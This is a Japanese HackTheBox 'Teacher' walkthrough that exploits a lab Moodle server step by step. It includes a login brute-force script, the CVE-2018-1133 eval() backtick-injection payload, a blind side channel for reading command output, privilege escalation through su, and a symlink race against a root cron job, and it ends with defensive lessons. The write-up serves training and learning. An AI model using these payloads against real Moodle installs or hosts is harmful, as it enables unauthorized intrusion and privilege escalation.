Hack The BoxのWriteup(Teacher)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Teacher — 全実行コマンド・実行結果レポート
Nmap スキャン
80/http のみ
→
/images/5.png
パスワードヒント漏洩
→
最後の1文字をブルートフォース
Giovanni:Th4C00lTheacha#
→
計算問題の回答式にバッククォート注入
CVE-2018-1133
→
www-data RCE (blind)
Min/Maxサイドチャネル
→
su giovanni 経由
user.txt ✓
→
backup.sh cron
symlinkレース(courses→/root)
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャンとリダイレクト先の確認

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.84.225
curl -sI http://10.129.84.225/moodle/
RESULT
PORT   STATE SERVICE
80/tcp open  http

HTTP/1.1 303 See Other
Server: Apache/2.4.25 (Debian)
Location: http://teacher.htb/moodle
ℹ️
Moodleの$CFG->wwwrootがteacher.htbに固定されているため、 IPへの直接アクセスだと正しく動作しない。/etc/hostsに <TARGET_IP> teacher.htbを追記してから全てのアクセスを http://teacher.htb/moodle/経由で行う必要がある。
BASH
echo "10.129.84.225 teacher.htb" | sudo tee -a /etc/hosts
PHASE 2

パスワードヒントの漏洩 & 最後の1文字のブルートフォース

トップページの壊れた画像リンク

BASH
curl -s -L http://10.129.84.225/images/5.png
RESULT
Hi Servicedesk,

I forgot the last charachter of my password. The only part I remembered is Th4C00lTheacha.

Could you guys figure out what the last charachter is, or just reset it?

Thanks,
Giovanni
🚨
重要発見: チームページの画像のうち1枚(5.png)は実際には画像ではなく、 ユーザー”Giovanni”からServiceDeskへのパスワード紛失問い合わせメールの テキストファイル。パスワードの最後の1文字だけが不明な状態で漏洩している。

最後の1文字をログインフォームでブルートフォース

PYTHON
import requests, string

base = "http://teacher.htb/moodle"
hint = "Th4C00lTheacha"
chars = "#!@$%^&*()_+-=" + string.ascii_letters + string.digits

for c in chars:
    pw = hint + c
    s = requests.Session()
    s.get(base + "/login/index.php", timeout=10)
    r = s.post(base + "/login/index.php",
               data={"anchor": "", "username": "Giovanni", "password": pw},
               timeout=10, allow_redirects=False)
    loc = r.headers.get("Location", "")
    # ログイン成功時のみ Location に "testsession=" が付与される
    if r.status_code in (302, 303) and "testsession=" in loc:
        print("FOUND:", pw)
        break
RESULT
FOUND: Th4C00lTheacha#
⚠️
ハマりポイント: Moodleはログイン成功時も失敗時も Locationヘッダに login/index.php という文字列を含める (失敗時はログインフォームへの再表示、成功時は login/index.php?testsession=Nというテストセッション確認ページを経由して ダッシュボードへ進む)。そのため「Locationに”login”という文字列が含まれていないこと」を 成功判定に使うと、正解のパスワードでも常に失敗と誤判定してしまう。 正しくは、成功時だけ付与されるtestsession=というクエリ文字列の有無で判定すること。
PHASE 3

CVE-2018-1133 (Moodle計算問題 eval() RCE) → user.txt

脆弱性の概要

NOTE
Moodle 3.4.1 の questiontype.php (calculated型の問題) は、採点時に回答式を
PHPの eval() でそのまま評価している (CVE-2018-1133)。Giovanniはteacherロールを
持つため、新しいクイズ・計算問題を自由に作成できる。回答式にバッククォートを
仕込んで式の外へ脱出させ、GETパラメータの値をそのままシェルコマンドとして
実行させることができる:

  回答式: /*{a*/`$_GET[0]`;//{x}}

質問編集後に表示される「データセット項目」ページへ
  ?...&0=<実行したいコマンド>
というGETパラメータを付けてアクセスすると、計算問題の採点ロジックが
`<コマンド>`をバッククォートで実行し、結果を式の評価に使おうとする
(結果自体が構文エラーを起こしても、その時点でコマンドは既に実行済み)。

悪性クイズ・計算問題の作成

BASH
# 1) ログイン (Phase2で確定したパスワード)
# 2) コースを編集モードに入れ、新規クイズを追加
# 3) クイズに "calculated" 型の問題を追加し、回答式(answer[0])に
#    /*{a*/`$_GET[0]`;//{x}}  を設定して保存
ℹ️
1度クイズと計算問題を作成してしまえば、同じ質問IDを使って何度でも ?0=<コマンド>を変えるだけでRCEを繰り返し発火できる (クイズ自体を毎回作り直す必要は無い)。

RCEの確認 & blindな出力回収 (数値サイドチャネル)

NOTE
標準的な「コマンド結果をHTTP POSTでKaliへ外部送出する」方式は、
HTBのこのラボ環境ではegressフィルタによりwww-dataからの外向きTCP接続が
一律ブロックされており(ICMPは通る)、永久にタイムアウトしてしまう。

代わりに、Moodleが計算問題の「正答プレビュー」欄に表示する
Min/Max許容範囲 (tolerance=1%) を利用する、ネットワーク非依存の
数値サイドチャネルを使う:

  1. 読みたい値を printf '%d' "'X" のように1文字ずつASCIIコード化させる
     (bashの ' 付き文字→数値変換)
  2. そのコマンドをバッククォート注入経由で実行させる
  3. レスポンス本文中の "Min: x --- Max: y" を正規表現で読み取り、
     (x+y)/2 を四捨五入すれば元のASCIIコードが復元できる
  4. 文字列全体は、ファイルサイズを wc -c で調べた後、1文字ずつ
     cut -c で切り出し printf '%d' でASCIIコード化し、上記手順で
     1文字ずつ読み出す

この方式は外向き接続を一切使わないため、egressフィルタの影響を受けない。
BASH
# 動作確認: id -u の結果を数値サイドチャネルで読む (<QUIZ_URL>?...&0=... の形で発火)
curl -s "<質問編集URL>&0=printf '%d' \$(id -u)" \
  | grep -oP 'Min:\s*[\-\d.]+\s*---\s*Max:\s*[\-\d.]+'
RESULT
Min: 32.67 --- Max: 33.33   → (32.67+33.33)/2 = 33 = www-data の uid
✅
RCE成功確認! id -uの結果が33(www-data)であることを 数値サイドチャネル経由で確認できた。

su giovanni 経由での user.txt 読み取り

NOTE
www-data は /home/giovanni (750, giovanni:giovanni) を直接読めないため、
事前に漏洩させたgiovanniのMoodle DBパスワードハッシュをオフラインで
rockyouに対してクラックして得たLinuxログイン用パスワード("expelled")を使い、
RCE経由で python3 の pty.fork() + su giovanni を実行してシェルを得る。
(suは疑似端末(tty)が無いと "must be run from a terminal" で失敗するため
pty.fork()が必須)

giovanniのシェル内で user.txt を world-readable な /tmp 配下へコピーし、
既存のwww-data側オラクル(数値サイドチャネル)から読み出す。
BASH
# (RCE経由でwww-dataとして) /tmp に pty.fork()+su用スクリプトを設置・実行
# スクリプト内で: su giovanni (パスワード: expelled) →
#   cat /home/giovanni/user.txt > /tmp/.uflag; chmod 644 /tmp/.uflag

# その後、www-data権限のRCEで /tmp/.uflag を読み出す(数値サイドチャネル)
# wc -c /tmp/.uflag → 文字数を調べ、1文字ずつ cut -c + printf '%d' で復元
RESULT
e488535966daaccdec176aaf45a21dce
user.txt — giovanni
e488535966daaccdec176aaf45a21dce
PHASE 4

backup.sh cronjob の symlink レース → root.txt

root cronジョブの発見

NOTE
/usr/bin/backup.sh が root権限のcronで定期実行されており、概ね以下の処理を行う:

  cd /home/giovanni/work
  tar -czvf tmp/backup_courses.tar.gz courses/*
  cd tmp
  tar -xf backup_courses.tar.gz
  chmod 777 * -R

~/work/courses ディレクトリ自体はgiovanni所有のため、giovanni権限で
自由に置き換えることができる。

courses を /root へのシンボリックリンクに置換

BASH
# giovanniのシェル(su経由)から実行
giovanni@teacher:~$ cd /home/giovanni/work
giovanni@teacher:~/work$ mv courses courses.bak
giovanni@teacher:~/work$ ln -sfn /root courses
🚨
攻撃の要点: 次回cron実行時、tar -czvf tmp/backup_courses.tar.gz courses/* はcoursesというシンボリックリンクをそのまま辿り、/root配下のファイルを tarに取り込んでしまう。続くtar -xfで展開され、最後の chmod 777 * -Rで展開先のtmp/courses/以下が全ユーザー読み書き可能になる ため、/root/root.txtが結果的に /home/giovanni/work/tmp/courses/root.txtとして誰でも読める状態でコピーされる。

cron実行を待機してroot.txtを回収

BASH
# cronの実行間隔(数分程度)だけ待ってから確認
giovanni@teacher:~$ sleep 60
giovanni@teacher:~$ cat /home/giovanni/work/tmp/courses/root.txt
RESULT
0a86abadf22636ad623ddc5207601096
⚠️
ハマりポイント: /home/giovanni自体は750 giovanni:giovanni のため、www-data権限からは(chmod 777がtmp/courses配下の中身に効いていても) 親ディレクトリを辿る実行権限が無く、www-data経由の確認コマンドは シンボリックリンク設置やcron実行の成否に関わらず常に「ファイルが見つからない」結果を返す (Unixのパーミッションモデルでは、末端ファイルのモードをいくら緩めても、 途中のディレクトリに実行(トラバース)権限が無ければそもそも辿れない)。 確認・読み出しはgiovanni自身のsuセッションから行うのが確実。
root.txt
0a86abadf22636ad623ddc5207601096
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — giovanni
e488535966daaccdec176aaf45a21dce
root.txt
0a86abadf22636ad623ddc5207601096

使用した脆弱性・設定不備

脆弱性/不備 対象 影響 深刻度 利用方法
公開画像によるパスワードヒント漏洩 /images/5.png Giovanniパスワードの大部分の漏洩 Medium 内部問い合わせメールが誤って公開画像として置かれ、最後の1文字のみ総当りで復元可能
CVE-2018-1133 Moodle 3.4.1 calculated型問題 (questiontype.php) リモートコード実行 (www-data) Critical 回答式へのバッククォート注入でeval()経由のコマンド実行。Min/Max許容範囲を使った数値サイドチャネルでblind出力回収(egressフィルタ環境でも動作)
root cronのシンボリックリンクレース /usr/bin/backup.sh (root cron) 権限昇格 (root) Critical giovanni所有のcoursesディレクトリを/rootへのsymlinkに置換し、tar+chmod 777のcronに/root配下をworld-readableな場所へコピーさせる

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + wwwrootリダイレクト確認80/httpのみ、teacher.htbへのリダイレクト
2資格情報/images/5.png閲覧 + 最後の1文字ブルートフォースGiovanni:Th4C00lTheacha#
3エクスプロイトCVE-2018-1133 (計算問題eval() RCE) + Min/Maxサイドチャネルwww-data RCE (blind)
3横移動pty.fork() + su giovanniuser.txt 取得
4権限昇格backup.sh cronのsymlinkレース (courses→/root)root.txt 取得

学んだ教訓 & 防御策

問題点防御策
社内問い合わせメールが画像ファイルのパスで公開領域に置かれている Webルート配下に機密情報を含むファイルを置かない。公開前のコンテンツレビューを徹底する。
Moodleが既知脆弱性(CVE-2018-1133)を含む古いバージョンのまま運用されている LMS/CMSのバージョンを定期的に更新し、既知のCVEに対するパッチを適用する。計算問題の回答式はサンドボックス化された評価エンジンで処理すべき。
root権限のcronジョブが一般ユーザー所有のディレクトリ構造(シンボリックリンク含む)をそのまま信頼してtar/chmodしている root権限で実行するバッチ処理は、処理対象パスがシンボリックリンクでないことを検証する(`tar`の`–exclude-vcs`的なオプションや`realpath`での正規化チェック)。信頼境界を越えるディレクトリへの再帰的chmod 777は特に危険。
HackTheBox: Teacher | 完全攻略レポート